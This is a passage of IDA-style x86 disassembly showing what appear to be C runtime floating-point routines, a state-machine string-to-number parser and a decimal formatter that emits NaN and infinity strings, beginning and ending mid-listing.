		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


